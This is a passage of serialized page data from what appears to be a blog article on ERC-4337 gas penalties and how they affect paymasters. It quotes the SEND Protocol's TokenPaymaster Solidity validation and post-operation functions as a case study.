Costs",{"type":23,"tag":24,"props":100422,"children":100423},{},[100424,100426,100431,100433,100438,100440,100445,100447,100454],{"type":28,"value":100425},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":64,"props":100427,"children":100429},{"className":100428},[],[100430],{"type":28,"value":99795},{"type":28,"value":100432},". When a ",{"type":23,"tag":64,"props":100434,"children":100436},{"className":100435},[],[100437],{"type":28,"value":99714},{"type":28,"value":100439}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":64,"props":100441,"children":100443},{"className":100442},[],[100444],{"type":28,"value":99795},{"type":28,"value":100446}," charges a ",{"type":23,"tag":190,"props":100448,"children":100451},{"href":100449,"rel":100450},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[194],[100452],{"type":28,"value":100453},"penalty of 10%",{"type":28,"value":100455}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":100457,"children":100458},{},[100459],{"type":28,"value":100460},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":435,"props":100462,"children":100464},{"className":2024,"code":100463,"language":2023,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[100465],{"type":23,"tag":64,"props":100466,"children":100467},{"__ignoreMap":7},[100468,100512,100519,100576,100584,100592,100634,100641,100653,100675,100696,100726,100777,100807,100828,100866,100905,100922,100961,100985,101002,101045,101067,101084,101101,101108,101115,101141,101158,101193,101224,101236,101283,101290,101297,101304,101371,101378,101385,101392,101403,101422,101441,101505,101528,101561,101576,101611,101619,101658,101683,101704,101712,101739,101766,101774,101782,101824,101831,101838,101862,101878,101885,101892,101910,101923,101930,101938],{"type":23,"tag":481,"props":100469,"children":100470},{"class":483,"line":484},[100471,100475,100480,100485,100490,100494,100499,100503,100508],{"type":23,"tag":481,"props":100472,"children":100473},{"style":497},[100474],{"type":28,"value":87346},{"type":23,"tag":481,"props":100476,"children":100477},{"style":943},[100478],{"type":28,"value":100479}," TokenPaymaster",{"type":23,"tag":481,"props":100481,"children":100482},{"style":497},[100483],{"type":28,"value":100484}," is",{"type":23,"tag":481,"props":100486,"children":100487},{"style":943},[100488],{"type":28,"value":100489}," BasePaymaster",{"type":23,"tag":481,"props":100491,"children":100492},{"style":525},[100493],{"type":28,"value":588},{"type":23,"tag":481,"props":100495,"children":100496},{"style":943},[100497],{"type":28,"value":100498},"UniswapHelper",{"type":23,"tag":481,"props":100500,"children":100501},{"style":525},[100502],{"type":28,"value":588},{"type":23,"tag":481,"props":100504,"children":100505},{"style":943},[100506],{"type":28,"value":100507},"OracleHelper",{"type":23,"tag":481,"props":100509,"children":100510},{"style":525},[100511],{"type":28,"value":809},{"type":23,"tag":481,"props":100513,"children":100514},{"class":483,"line":351},[100515],{"type":23,"tag":481,"props":100516,"children":100517},{"style":525},[100518],{"type":28,"value":7803},{"type":23,"tag":481,"props":100520,"children":100521},{"class":483,"line":531},[100522,100526,100531,100535,100540,100545,100550,100554,100559,100563,100567,100572],{"type":23,"tag":481,"props":100523,"children":100524},{"style":497},[100525],{"type":28,"value":87363},{"type":23,"tag":481,"props":100527,"children":100528},{"style":610},[100529],{"type":28,"value":100530}," _validatePaymasterUserOp",{"type":23,"tag":481,"props":100532,"children":100533},{"style":525},[100534],{"type":28,"value":618},{"type":23,"tag":481,"props":100536,"children":100537},{"style":497},[100538],{"type":28,"value":100539},"PackedUserOperation",{"type":23,"tag":481,"props":100541,"children":100542},{"style":497},[100543],{"type":28,"value":100544}," calldata",{"type":23,"tag":481,"props":100546,"children":100547},{"style":508},[100548],{"type":28,"value":100549}," userOp",{"type":23,"tag":481,"props":100551,"children":100552},{"style":525},[100553],{"type":28,"value":588},{"type":23,"tag":481,"props":100555,"children":100556},{"style":943},[100557],{"type":28,"value":100558},"bytes32",{"type":23,"tag":481,"props":100560,"children":100561},{"style":525},[100562],{"type":28,"value":588},{"type":23,"tag":481,"props":100564,"children":100565},{"style":943},[100566],{"type":28,"value":43692},{"type":23,"tag":481,"props":100568,"children":100569},{"style":508},[100570],{"type":28,"value":100571}," requiredPreFund",{"type":23,"tag":481,"props":100573,"children":100574},{"style":525},[100575],{"type":28,"value":675},{"type":23,"tag":481,"props":100577,"children":100578},{"class":483,"line":567},[100579],{"type":23,"tag":481,"props":100580,"children":100581},{"style":497},[100582],{"type":28,"value":100583}," internal\n",{"type":23,"tag":481,"props":100585,"children":100586},{"class":483,"line":678},[100587],{"type":23,"tag":481,"props":100588,"children":100589},{"style":497},[100590],{"type":28,"value":100591}," override\n",{"type":23,"tag":481,"props":100593,"children":100594},{"class":483,"line":784},[100595,100600,100604,100608,100613,100617,100621,100625,100630],{"type":23,"tag":481,"props":100596,"children":100597},{"style":535},[100598],{"type":28,"value":100599}," returns",{"type":23,"tag":481,"props":100601,"children":100602},{"style":525},[100603],{"type":28,"value":578},{"type":23,"tag":481,"props":100605,"children":100606},{"style":943},[100607],{"type":28,"value":81360},{"type":23,"tag":481,"props":100609,"children":100610},{"style":497},[100611],{"type":28,"value":100612}," memory",{"type":23,"tag":481,"props":100614,"children":100615},{"style":508},[100616],{"type":28,"value":73872},{"type":23,"tag":481,"props":100618,"children":100619},{"style":525},[100620],{"type":28,"value":588},{"type":23,"tag":481,"props":100622,"children":100623},{"style":943},[100624],{"type":28,"value":43692},{"type":23,"tag":481,"props":100626,"children":100627},{"style":508},[100628],{"type":28,"value":100629}," validationResult",{"type":23,"tag":481,"props":100631,"children":100632},{"style":525},[100633],{"type":28,"value":675},{"type":23,"tag":481,"props":100635,"children":100636},{"class":483,"line":812},[100637],{"type":23,"tag":481,"props":100638,"children":100639},{"style":525},[100640],{"type":28,"value":26700},{"type":23,"tag":481,"props":100642,"children":100643},{"class":483,"line":825},[100644,100649],{"type":23,"tag":481,"props":100645,"children":100646},{"style":535},[100647],{"type":28,"value":100648}," unchecked",{"type":23,"tag":481,"props":100650,"children":100651},{"style":525},[100652],{"type":28,"value":809},{"type":23,"tag":481,"props":100654,"children":100655},{"class":483,"line":843},[100656,100661,100666,100670],{"type":23,"tag":481,"props":100657,"children":100658},{"style":943},[100659],{"type":28,"value":100660}," uint256",{"type":23,"tag":481,"props":100662,"children":100663},{"style":525},[100664],{"type":28,"value":100665}," priceMarkup ",{"type":23,"tag":481,"props":100667,"children":100668},{"style":514},[100669],{"type":28,"value":603},{"type":23,"tag":481,"props":100671,"children":100672},{"style":525},[100673],{"type":28,"value":100674}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":481,"props":100676,"children":100677},{"class":483,"line":864},[100678,100682,100687,100691],{"type":23,"tag":481,"props":100679,"children":100680},{"style":943},[100681],{"type":28,"value":100660},{"type":23,"tag":481,"props":100683,"children":100684},{"style":525},[100685],{"type":28,"value":100686}," baseFee ",{"type":23,"tag":481,"props":100688,"children":100689},{"style":514},[100690],{"type":28,"value":603},{"type":23,"tag":481,"props":100692,"children":100693},{"style":525},[100694],{"type":28,"value":100695}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":481,"props":100697,"children":100698},{"class":483,"line":873},[100699,100703,100708,100712,100717,100721],{"type":23,"tag":481,"props":100700,"children":100701},{"style":943},[100702],{"type":28,"value":100660},{"type":23,"tag":481,"props":100704,"children":100705},{"style":525},[100706],{"type":28,"value":100707}," dataLength ",{"type":23,"tag":481,"props":100709,"children":100710},{"style":514},[100711],{"type":28,"value":603},{"type":23,"tag":481,"props":100713,"children":100714},{"style":525},[100715],{"type":28,"value":100716}," userOp.paymasterAndData.length ",{"type":23,"tag":481,"props":100718,"children":100719},{"style":514},[100720],{"type":28,"value":1876},{"type":23,"tag":481,"props":100722,"children":100723},{"style":525},[100724],{"type":28,"value":100725}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":481,"props":100727,"children":100728},{"class":483,"line":1125},[100729,100734,100739,100743,100747,100751,100755,100759,100764,100768,100773],{"type":23,"tag":481,"props":100730,"children":100731},{"style":535},[100732],{"type":28,"value":100733}," require",{"type":23,"tag":481,"props":100735,"children":100736},{"style":525},[100737],{"type":28,"value":100738},"(dataLength ",{"type":23,"tag":481,"props":100740,"children":100741},{"style":514},[100742],{"type":28,"value":6055},{"type":23,"tag":481,"props":100744,"children":100745},{"style":551},[100746],{"type":28,"value":554},{"type":23,"tag":481,"props":100748,"children":100749},{"style":514},[100750],{"type":28,"value":21207},{"type":23,"tag":481,"props":100752,"children":100753},{"style":525},[100754],{"type":28,"value":100707},{"type":23,"tag":481,"props":100756,"children":100757},{"style":514},[100758],{"type":28,"value":6055},{"type":23,"tag":481,"props":100760,"children":100761},{"style":551},[100762],{"type":28,"value":100763}," 32",{"type":23,"tag":481,"props":100765,"children":100766},{"style":525},[100767],{"type":28,"value":588},{"type":23,"tag":481,"props":100769,"children":100770},{"style":1805},[100771],{"type":28,"value":100772},"\"TPM: invalid data length\"",{"type":23,"tag":481,"props":100774,"children":100775},{"style":525},[100776],{"type":28,"value":1366},{"type":23,"tag":481,"props":100778,"children":100779},{"class":483,"line":1142},[100780,100784,100789,100793,100798,100803],{"type":23,"tag":481,"props":100781,"children":100782},{"style":943},[100783],{"type":28,"value":100660},{"type":23,"tag":481,"props":100785,"children":100786},{"style":525},[100787],{"type":28,"value":100788}," maxFeePerGas ",{"type":23,"tag":481,"props":100790,"children":100791},{"style":514},[100792],{"type":28,"value":603},{"type":23,"tag":481,"props":100794,"children":100795},{"style":525},[100796],{"type":28,"value":100797}," userOp.",{"type":23,"tag":481,"props":100799,"children":100800},{"style":610},[100801],{"type":28,"value":100802},"unpackMaxFeePerGas",{"type":23,"tag":481,"props":100804,"children":100805},{"style":525},[100806],{"type":28,"value":1201},{"type":23,"tag":481,"props":100808,"children":100809},{"class":483,"line":1159},[100810,100814,100819,100823],{"type":23,"tag":481,"props":100811,"children":100812},{"style":943},[100813],{"type":28,"value":100660},{"type":23,"tag":481,"props":100815,"children":100816},{"style":525},[100817],{"type":28,"value":100818}," refundPostopCost ",{"type":23,"tag":481,"props":100820,"children":100821},{"style":514},[100822],{"type":28,"value":603},{"type":23,"tag":481,"props":100824,"children":100825},{"style":525},[100826],{"type":28,"value":100827}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":481,"props":100829,"children":100830},{"class":483,"line":1172},[100831,100835,100840,100844,100848,100853,100857,100862],{"type":23,"tag":481,"props":100832,"children":100833},{"style":535},[100834],{"type":28,"value":100733},{"type":23,"tag":481,"props":100836,"children":100837},{"style":525},[100838],{"type":28,"value":100839},"(refundPostopCost ",{"type":23,"tag":481,"props":100841,"children":100842},{"style":514},[100843],{"type":28,"value":3282},{"type":23,"tag":481,"props":100845,"children":100846},{"style":525},[100847],{"type":28,"value":100797},{"type":23,"tag":481,"props":100849,"children":100850},{"style":610},[100851],{"type":28,"value":100852},"unpackPostOpGasLimit",{"type":23,"tag":481,"props":100854,"children":100855},{"style":525},[100856],{"type":28,"value":15869},{"type":23,"tag":481,"props":100858,"children":100859},{"style":1805},[100860],{"type":28,"value":100861},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":481,"props":100863,"children":100864},{"style":525},[100865],{"type":28,"value":1366},{"type":23,"tag":481,"props":100867,"children":100868},{"class":483,"line":1181},[100869,100873,100878,100882,100887,100891,100896,100900],{"type":23,"tag":481,"props":100870,"children":100871},{"style":943},[100872],{"type":28,"value":100660},{"type":23,"tag":481,"props":100874,"children":100875},{"style":525},[100876],{"type":28,"value":100877}," preChargeNative ",{"type":23,"tag":481,"props":100879,"children":100880},{"style":514},[100881],{"type":28,"value":603},{"type":23,"tag":481,"props":100883,"children":100884},{"style":525},[100885],{"type":28,"value":100886}," requiredPreFund ",{"type":23,"tag":481,"props":100888,"children":100889},{"style":514},[100890],{"type":28,"value":1930},{"type":23,"tag":481,"props":100892,"children":100893},{"style":525},[100894],{"type":28,"value":100895}," (refundPostopCost ",{"type":23,"tag":481,"props":100897,"children":100898},{"style":514},[100899],{"type":28,"value":2120},{"type":23,"tag":481,"props":100901,"children":100902},{"style":525},[100903],{"type":28,"value":100904}," maxFeePerGas);\n",{"type":23,"tag":481,"props":100906,"children":100907},{"class":483,"line":1204},[100908,100913,100917],{"type":23,"tag":481,"props":100909,"children":100910},{"style":488},[100911],{"type":28,"value":100912}," // ",{"type":23,"tag":481,"props":100914,"children":100915},{"style":497},[100916],{"type":28,"value":64288},{"type":23,"tag":481,"props":100918,"children":100919},{"style":488},[100920],{"type":28,"value":100921},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":481,"props":100923,"children":100924},{"class":483,"line":1213},[100925,100929,100934,100938,100943,100947,100952,100956],{"type":23,"tag":481,"props":100926,"children":100927},{"style":943},[100928],{"type":28,"value":100660},{"type":23,"tag":481,"props":100930,"children":100931},{"style":525},[100932],{"type":28,"value":100933}," cachedPriceWithMarkup ",{"type":23,"tag":481,"props":100935,"children":100936},{"style":514},[100937],{"type":28,"value":603},{"type":23,"tag":481,"props":100939,"children":100940},{"style":525},[100941],{"type":28,"value":100942}," cachedPrice ",{"type":23,"tag":481,"props":100944,"children":100945},{"style":514},[100946],{"type":28,"value":2120},{"type":23,"tag":481,"props":100948,"children":100949},{"style":525},[100950],{"type":28,"value":100951}," DENOM ",{"type":23,"tag":481,"props":100953,"children":100954},{"style":514},[100955],{"type":28,"value":2130},{"type":23,"tag":481,"props":100957,"children":100958},{"style":525},[100959],{"type":28,"value":100960}," priceMarkup;\n",{"type":23,"tag":481,"props":100962,"children":100963},{"class":483,"line":1222},[100964,100968,100973,100977,100981],{"type":23,"tag":481,"props":100965,"children":100966},{"style":535},[100967],{"type":28,"value":56328},{"type":23,"tag":481,"props":100969,"children":100970},{"style":525},[100971],{"type":28,"value":100972}," (dataLength ",{"type":23,"tag":481,"props":100974,"children":100975},{"style":514},[100976],{"type":28,"value":6055},{"type":23,"tag":481,"props":100978,"children":100979},{"style":551},[100980],{"type":28,"value":100763},{"type":23,"tag":481,"props":100982,"children":100983},{"style":525},[100984],{"type":28,"value":12292},{"type":23,"tag":481,"props":100986,"children":100987},{"class":483,"line":1291},[100988,100993,100998],{"type":23,"tag":481,"props":100989,"children":100990},{"style":943},[100991],{"type":28,"value":100992}," uint256",{"type":23,"tag":481,"props":100994,"children":100995},{"style":525},[100996],{"type":28,"value":100997}," clientSuppliedPrice ",{"type":23,"tag":481,"props":100999,"children":101000},{"style":514},[101001],{"type":28,"value":12181},{"type":23,"tag":481,"props":101003,"children":101004},{"class":483,"line":1299},[101005,101010,101014,101018,101023,101027,101032,101036,101040],{"type":23,"tag":481,"props":101006,"children":101007},{"style":943},[101008],{"type":28,"value":101009}," uint256",{"type":23,"tag":481,"props":101011,"children":101012},{"style":525},[101013],{"type":28,"value":618},{"type":23,"tag":481,"props":101015,"children":101016},{"style":943},[101017],{"type":28,"value":100558},{"type":23,"tag":481,"props":101019,"children":101020},{"style":525},[101021],{"type":28,"value":101022},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":481,"props":101024,"children":101025},{"style":514},[101026],{"type":28,"value":287},{"type":23,"tag":481,"props":101028,"children":101029},{"style":525},[101030],{"type":28,"value":101031},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":481,"props":101033,"children":101034},{"style":514},[101035],{"type":28,"value":1930},{"type":23,"tag":481,"props":101037,"children":101038},{"style":551},[101039],{"type":28,"value":100763},{"type":23,"tag":481,"props":101041,"children":101042},{"style":525},[101043],{"type":28,"value":101044},"]));\n",{"type":23,"tag":481,"props":101046,"children":101047},{"class":483,"line":1329},[101048,101053,101058,101062],{"type":23,"tag":481,"props":101049,"children":101050},{"style":535},[101051],{"type":28,"value":101052}," if",{"type":23,"tag":481,"props":101054,"children":101055},{"style":525},[101056],{"type":28,"value":101057}," (clientSuppliedPrice ",{"type":23,"tag":481,"props":101059,"children":101060},{"style":514},[101061],{"type":28,"value":3282},{"type":23,"tag":481,"props":101063,"children":101064},{"style":525},[101065],{"type":28,"value":101066}," cachedPriceWithMarkup) {\n",{"type":23,"tag":481,"props":101068,"children":101069},{"class":483,"line":1337},[101070,101075,101079],{"type":23,"tag":481,"props":101071,"children":101072},{"style":488},[101073],{"type":28,"value":101074}," // ",{"type":23,"tag":481,"props":101076,"children":101077},{"style":497},[101078],{"type":28,"value":64288},{"type":23,"tag":481,"props":101080,"children":101081},{"style":488},[101082],{"type":28,"value":101083},": smaller number means 'more native asset per token'\n",{"type":23,"tag":481,"props":101085,"children":101086},{"class":483,"line":1369},[101087,101092,101096],{"type":23,"tag":481,"props":101088,"children":101089},{"style":525},[101090],{"type":28,"value":101091}," cachedPriceWithMarkup ",{"type":23,"tag":481,"props":101093,"children":101094},{"style":514},[101095],{"type":28,"value":603},{"type":23,"tag":481,"props":101097,"children":101098},{"style":525},[101099],{"type":28,"value":101100}," clientSuppliedPrice;\n",{"type":23,"tag":481,"props":101102,"children":101103},{"class":483,"line":1377},[101104],{"type":23,"tag":481,"props":101105,"children":101106},{"style":525},[101107],{"type":28,"value":68601},{"type":23,"tag":481,"props":101109,"children":101110},{"class":483,"line":1437},[101111],{"type":23,"tag":481,"props":101112,"children":101113},{"style":525},[101114],{"type":28,"value":56412},{"type":23,"tag":481,"props":101116,"children":101117},{"class":483,"line":6528},[101118,101122,101127,101131,101136],{"type":23,"tag":481,"props":101119,"children":101120},{"style":943},[101121],{"type":28,"value":100660},{"type":23,"tag":481,"props":101123,"children":101124},{"style":525},[101125],{"type":28,"value":101126}," tokenAmount ",{"type":23,"tag":481,"props":101128,"children":101129},{"style":514},[101130],{"type":28,"value":603},{"type":23,"tag":481,"props":101132,"children":101133},{"style":610},[101134],{"type":28,"value":101135}," weiToToken",{"type":23,"tag":481,"props":101137,"children":101138},{"style":525},[101139],{"type":28,"value":101140},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":481,"props":101142,"children":101143},{"class":483,"line":6546},[101144,101149,101153],{"type":23,"tag":481,"props":101145,"children":101146},{"style":525},[101147],{"type":28,"value":101148}," tokenAmount ",{"type":23,"tag":481,"props":101150,"children":101151},{"style":514},[101152],{"type":28,"value":65967},{"type":23,"tag":481,"props":101154,"children":101155},{"style":525},[101156],{"type":28,"value":101157}," baseFee;\n",{"type":23,"tag":481,"props":101159,"children":101160},{"class":483,"line":6591},[101161,101166,101171,101176,101180,101184,101188],{"type":23,"tag":481,"props":101162,"children":101163},{"style":525},[101164],{"type":28,"value":101165}," SafeERC20.",{"type":23,"tag":481,"props":101167,"children":101168},{"style":610},[101169],{"type":28,"value":101170},"safeTransferFrom",{"type":23,"tag":481,"props":101172,"children":101173},{"style":525},[101174],{"type":28,"value":101175},"(token, userOp.sender, ",{"type":23,"tag":481,"props":101177,"children":101178},{"style":943},[101179],{"type":28,"value":30156},{"type":23,"tag":481,"props":101181,"children":101182},{"style":525},[101183],{"type":28,"value":618},{"type":23,"tag":481,"props":101185,"children":101186},{"style":497},[101187],{"type":28,"value":15186},{"type":23,"tag":481,"props":101189,"children":101190},{"style":525},[101191],{"type":28,"value":101192},"), tokenAmount);\n",{"type":23,"tag":481,"props":101194,"children":101195},{"class":483,"line":6697},[101196,101201,101205,101210,101214,101219],{"type":23,"tag":481,"props":101197,"children":101198},{"style":525},[101199],{"type":28,"value":101200}," context ",{"type":23,"tag":481,"props":101202,"children":101203},{"style":514},[101204],{"type":28,"value":603},{"type":23,"tag":481,"props":101206,"children":101207},{"style":497},[101208],{"type":28,"value":101209}," abi",{"type":23,"tag":481,"props":101211,"children":101212},{"style":525},[101213],{"type":28,"value":199},{"type":23,"tag":481,"props":101215,"children":101216},{"style":610},[101217],{"type":28,"value":101218},"encode",{"type":23,"tag":481,"props":101220,"children":101221},{"style":525},[101222],{"type":28,"value":101223},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":481,"props":101225,"children":101226},{"class":483,"line":21008},[101227,101232],{"type":23,"tag":481,"props":101228,"children":101229},{"style":525},[101230],{"type":28,"value":101231}," validationResult ",{"type":23,"tag":481,"props":101233,"children":101234},{"style":514},[101235],{"type":28,"value":12181},{"type":23,"tag":481,"props":101237,"children":101238},{"class":483,"line":21043},[101239,101244,101248,101252,101256,101261,101266,101270,101275,101279],{"type":23,"tag":481,"props":101240,"children":101241},{"style":610},[101242],{"type":28,"value":101243}," _packValidationData",{"type":23,"tag":481,"props":101245,"children":101246},{"style":525},[101247],{"type":28,"value":618},{"type":23,"tag":481,"props":101249,"children":101250},{"style":497},[101251],{"type":28,"value":5654},{"type":23,"tag":481,"props":101253,"children":101254},{"style":525},[101255],{"type":28,"value":588},{"type":23,"tag":481,"props":101257,"children":101258},{"style":943},[101259],{"type":28,"value":101260},"uint48",{"type":23,"tag":481,"props":101262,"children":101263},{"style":525},[101264],{"type":28,"value":101265},"(cachedPriceTimestamp ",{"type":23,"tag":481,"props":101267,"children":101268},{"style":514},[101269],{"type":28,"value":1930},{"type":23,"tag":481,"props":101271,"children":101272},{"style":525},[101273],{"type":28,"value":101274}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":481,"props":101276,"children":101277},{"style":551},[101278],{"type":28,"value":1568},{"type":23,"tag":481,"props":101280,"children":101281},{"style":525},[101282],{"type":28,"value":1366},{"type":23,"tag":481,"props":101284,"children":101285},{"class":483,"line":21051},[101286],{"type":23,"tag":481,"props":101287,"children":101288},{"style":525},[101289],{"type":28,"value":870},{"type":23,"tag":481,"props":101291,"children":101292},{"class":483,"line":21059},[101293],{"type":23,"tag":481,"props":101294,"children":101295},{"style":525},[101296],{"type":28,"value":879},{"type":23,"tag":481,"props":101298,"children":101299},{"class":483,"line":21068},[101300],{"type":23,"tag":481,"props":101301,"children":101302},{"style":525},[101303],{"type":28,"value":7803},{"type":23,"tag":481,"props":101305,"children":101306},{"class":483,"line":21110},[101307,101311,101316,101320,101325,101329,101333,101337,101341,101345,101349,101354,101358,101362,101367],{"type":23,"tag":481,"props":101308,"children":101309},{"style":497},[101310],{"type":28,"value":87363},{"type":23,"tag":481,"props":101312,"children":101313},{"style":610},[101314],{"type":28,"value":101315}," _postOp",{"type":23,"tag":481,"props":101317,"children":101318},{"style":525},[101319],{"type":28,"value":618},{"type":23,"tag":481,"props":101321,"children":101322},{"style":497},[101323],{"type":28,"value":101324},"PostOpMode",{"type":23,"tag":481,"props":101326,"children":101327},{"style":525},[101328],{"type":28,"value":588},{"type":23,"tag":481,"props":101330,"children":101331},{"style":943},[101332],{"type":28,"value":81360},{"type":23,"tag":481,"props":101334,"children":101335},{"style":497},[101336],{"type":28,"value":100544},{"type":23,"tag":481,"props":101338,"children":101339},{"style":508},[101340],{"type":28,"value":73872},{"type":23,"tag":481,"props":101342,"children":101343},{"style":525},[101344],{"type":28,"value":588},{"type":23,"tag":481,"props":101346,"children":101347},{"style":943},[101348],{"type":28,"value":43692},{"type":23,"tag":481,"props":101350,"children":101351},{"style":508},[101352],{"type":28,"value":101353}," actualGasCost",{"type":23,"tag":481,"props":101355,"children":101356},{"style":525},[101357],{"type":28,"value":588},{"type":23,"tag":481,"props":101359,"children":101360},{"style":943},[101361],{"type":28,"value":43692},{"type":23,"tag":481,"props":101363,"children":101364},{"style":508},[101365],{"type":28,"value":101366}," actualUserOpFeePerGas",{"type":23,"tag":481,"props":101368,"children":101369},{"style":525},[101370],{"type":28,"value":675},{"type":23,"tag":481,"props":101372,"children":101373},{"class":483,"line":21143},[101374],{"type":23,"tag":481,"props":101375,"children":101376},{"style":497},[101377],{"type":28,"value":100583},{"type":23,"tag":481,"props":101379,"children":101380},{"class":483,"line":21151},[101381],{"type":23,"tag":481,"props":101382,"children":101383},{"style":497},[101384],{"type":28,"value":100591},{"type":23,"tag":481,"props":101386,"children":101387},{"class":483,"line":21159},[101388],{"type":23,"tag":481,"props":101389,"children":101390},{"style":525},[101391],{"type":28,"value":26700},{"type":23,"tag":481,"props":101393,"children":101394},{"class":483,"line":21168},[101395,101399],{"type":23,"tag":481,"props":101396,"children":101397},{"style":535},[101398],{"type":28,"value":100648},{"type":23,"tag":481,"props":101400,"children":101401},{"style":525},[101402],{"type":28,"value":809},{"type":23,"tag":481,"props":101404,"children":101405},{"class":483,"line":21244},[101406,101410,101414,101418],{"type":23,"tag":481,"props":101407,"children":101408},{"style":943},[101409],{"type":28,"value":100660},{"type":23,"tag":481,"props":101411,"children":101412},{"style":525},[101413],{"type":28,"value":100665},{"type":23,"tag":481,"props":101415,"children":101416},{"style":514},[101417],{"type":28,"value":603},{"type":23,"tag":481,"props":101419,"children":101420},{"style":525},[101421],{"type":28,"value":100674},{"type":23,"tag":481,"props":101423,"children":101424},{"class":483,"line":21277},[101425,101429,101433,101437],{"type":23,"tag":481,"props":101426,"children":101427},{"style":943},[101428],{"type":28,"value":100660},{"type":23,"tag":481,"props":101430,"children":101431},{"style":525},[101432],{"type":28,"value":100686},{"type":23,"tag":481,"props":101434,"children":101435},{"style":514},[101436],{"type":28,"value":603},{"type":23,"tag":481,"props":101438,"children":101439},{"style":525},[101440],{"type":28,"value":100695},{"type":23,"tag":481,"props":101442,"children":101443},{"class":483,"line":21285},[101444,101449,101453,101458,101462,101467,101471,101475,101479,101484,101489,101493,101497,101501],{"type":23,"tag":481,"props":101445,"children":101446},{"style":525},[101447],{"type":28,"value":101448}," (",{"type":23,"tag":481,"props":101450,"children":101451},{"style":943},[101452],{"type":28,"value":43692},{"type":23,"tag":481,"props":101454,"children":101455},{"style":525},[101456],{"type":28,"value":101457}," preCharge, ",{"type":23,"tag":481,"props":101459,"children":101460},{"style":943},[101461],{"type":28,"value":30156},{"type":23,"tag":481,"props":101463,"children":101464},{"style":525},[101465],{"type":28,"value":101466}," userOpSender) ",{"type":23,"tag":481,"props":101468,"children":101469},{"style":514},[101470],{"type":28,"value":603},{"type":23,"tag":481,"props":101472,"children":101473},{"style":497},[101474],{"type":28,"value":101209},{"type":23,"tag":481,"props":101476,"children":101477},{"style":525},[101478],{"type":28,"value":199},{"type":23,"tag":481,"props":101480,"children":101481},{"style":610},[101482],{"type":28,"value":101483},"decode",{"type":23,"tag":481,"props":101485,"children":101486},{"style":525},[101487],{"type":28,"value":101488},"(context, 